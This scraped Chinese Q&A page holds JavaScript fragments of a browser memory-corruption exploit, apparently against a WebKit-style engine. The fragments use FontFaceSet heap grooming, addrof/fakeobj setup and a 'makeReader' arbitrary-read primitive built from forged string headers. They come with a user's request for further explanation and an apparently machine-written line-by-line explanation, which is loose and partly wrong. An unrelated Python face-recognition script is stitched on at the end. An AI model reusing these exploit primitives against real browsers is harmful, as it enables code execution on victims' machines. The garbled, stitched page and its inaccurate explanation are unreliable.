//setup for addrof/fakeobj //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue union_i[0] = 0x10000; union_i[1] = 0; //account for nan-boxing arrays[257][1] = {}; //force it to still be jsvalue-array not double-array arrays[257][0] = union_f[0]; union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0; union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000; arrays[256][i] = union_f[0]; //hammer time! pp_s = ''; pp_s += ptrToString(56); for (var i = 0; i < 12; i++) pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE); var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += ptrToString(INVALID_POINTER); //never dereferenced fake_s += ptrToString(butterfly); //hammer target fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34 var ffs7_args = []; for (var i = 0; i < 12; i++) ffs7_args.push(bad_fonts[guessed_font + i]); ffs7_args.push(good_font); var ffs8_args = [bad_fonts[guessed_font + 12]]; for (var i = 0; i < 5; i++) ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {})); for (var i = 0; i < HAMMER_NSTRINGS; i++) mkString(HASHMAP_BUCKET, pp_s); ffses.ffs7 = new FontFaceSet(ffs7_args); mkString(HASHMAP_BUCKET, pp_s); ffses.ffs8 = new FontFaceSet(ffs8_args); var post_ffs = mkString(HASHMAP_BUCKET, fake_s); needfix.push(post_ffs);继续解释以上代码?

时间: 2024-04-18 07:33:37 浏览: 10
这段代码是在之前的基础上进行了进一步的攻击,用于实现addrof/fakeobj功能。 首先,代码设置了一些值,用于构建`addrof`和`fakeobj`的准备工作。 接下来,将0x10000赋值给`union_i`数组的第一个元素,将0赋值给第二个元素。这是为了构建一个jsvalue,用于后续的操作。 然后,将`arrays[257][1]`赋值为空对象,以确保它仍然是一个jsvalue数组而不是double数组。将`union_f[0]`赋值给`arrays[257][0]`。 接着,将`(guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0`赋值给`union_i`数组的第一个元素,将`(guessed_addr - guessed_addr % 0x100000000) / 0x100000000`赋值给第二个元素。最后,将`union_f[0]`的值赋值给`arrays[256][i]`。 然后,代码开始进行"hammer time"操作。 首先,定义了一个名为`pp_s`的字符串,并将一些指针转换为字符串并添加到其中。这些指针包括一个常量56,以及从`guessed_addr + i * SIZEOF_CSS_FONT_FACE`中获取的一系列指针。 接下来,定义了一个名为`fake_s`的字符串,并填充了一些特定的值。其中包括一些填充用于对齐的零字节,一个指向`butterfly`的指针,以及长度为34的字符串。 然后,定义了一个名为`ffs7_args`的空数组,并通过循环将`bad_fonts[guessed_font + i]`添加到其中。最后,将`good_font`添加到`ffs7_args`数组中。 接着,定义了一个名为`ffs8_args`的数组,并将`bad_fonts[guessed_font + 12]`添加到其中。然后,通过循环将5个新创建的`FontFace`对象添加到`ffs8_args`数组中。 然后,通过循环调用`mkString`函数,创建了`HAMMER_NSTRINGS`个长度为`HASHMAP_BUCKET`的字符串,并传入之前生成的`pp_s`作为参数。 接下来,创建了一个名为`ffs7`的新的`FontFaceSet`对象,并将之前创建的`ffs7_args`数组作为参数传入。 然后,通过调用`mkString`函数生成一个字符串,并将其添加到`pp_s`中。接着,创建了一个名为`ffs8`的新的`FontFaceSet`对象,并将之前创建的`ffs8_args`数组作为参数传入。 最后,通过调用`mkString`函数生成一个字符串,并将其添加到`fake_s`中。将生成的字符串添加到`needfix`数组中。 该段代码的目的是构建特定的数据结构和字符串,并创建了两个新的`FontFaceSet`对象,以实现对浏览器的进一步攻击。具体的攻击方式可能包括内存错误漏洞的利用,以执行任意代码或实现任意读写等操作。

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var needfix = []; for (var i = 0;; i++) { ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); var badstr2 = mkString(HASHMAP_BUCKET, p_s); needfix.push(mkString(HASHMAP_BUCKET, p_s)); bad_fonts[guessed_font].family = "evil2"; bad_fonts[guessed_font + 1].family = "evil3"; var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); if (leak < 0x1000000000000) break; } function makeReader(read_addr, ffs_name) { var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff fake_s += ptrToString(read_addr); //where to read from fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit p_s = ''; p_s += ptrToString(29); p_s += ptrToString(guessed_addr); p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); for (var i = 0; i < 18; i++) p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); mkString(HASHMAP_BUCKET, p_s); var relative_read = mkString(HASHMAP_BUCKET, fake_s); bad_fonts[guessed_font].family = ffs_name + "_evil1"; bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; needfix.push(relative_read); if (relative_read.length < 1000) //failed return makeReader(read_addr, ffs_name + '_'); return relative_read; }继续解释以上代码?

import cv2 import face_recognition import numpy as np from PIL import Image, ImageDraw,ImageFont video_capture = cv2.VideoCapture(r'C:/Users/ALIENWARE/123.mp4')#如果输入是(0)为摄像头输入 #现输入为MP4进行识别检测人脸 first_image = face_recognition.load_image_file("1.jpg") first_face_encoding = face_recognition.face_encodings(first_image)[0] Second_image = face_recognition.load_image_file("2.jpg") Second_face_encoding = face_recognition.face_encodings(Second_image)[0] third_image = face_recognition.load_image_file("3.jpg") third_face_encoding = face_recognition.face_encodings(third_image)[0] inside_face_encodings = [first_face_encoding,Second_face_encoding,third_face_encoding] inside_face_names = ['A','B','C'] face_locations = [] face_encodings = [] face_names = [] process_this_frame = True while True: ret, frame = video_capture.read() small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25) rgb_small_frame = small_frame[:, :, ::-1] if process_this_frame: face_locations = face_recognition.face_locations(rgb_small_frame) face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations) face_names = [] for face_encoding in face_encodings: matches = face_recognition.compare_faces(inside_face_encodings, face_encoding) name = '未录入人脸' if True in matches: first_match_index = matches.index(True) name = inside_face_names[first_match_index] face_names.append(name) process_this_frame = not process_this_frame for (top, right, bottom, left), name in zip(face_locations, face_names): top *= 4 right *= 4 bottom *= 4 left *= 4 cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2) img_pil = Image.fromarray(frame) draw = ImageDraw.Draw(img_pil) fontStyle = ImageFont.truetype("C:/Windows/Fonts/simsun.ttc", 32, encoding="utf-8") draw.text((left + 6, bottom - 6), name, (0, 200, 0), font=fontStyle) frame = np.asarray(np.array(img_pil)) cv2.imshow('face_out', frame) if cv2.waitKey(1) & 0xFF == ord('q'): #退出需要按下Q键否则内核会崩溃 break video_capture.release() cv2.destroyAllWindows()

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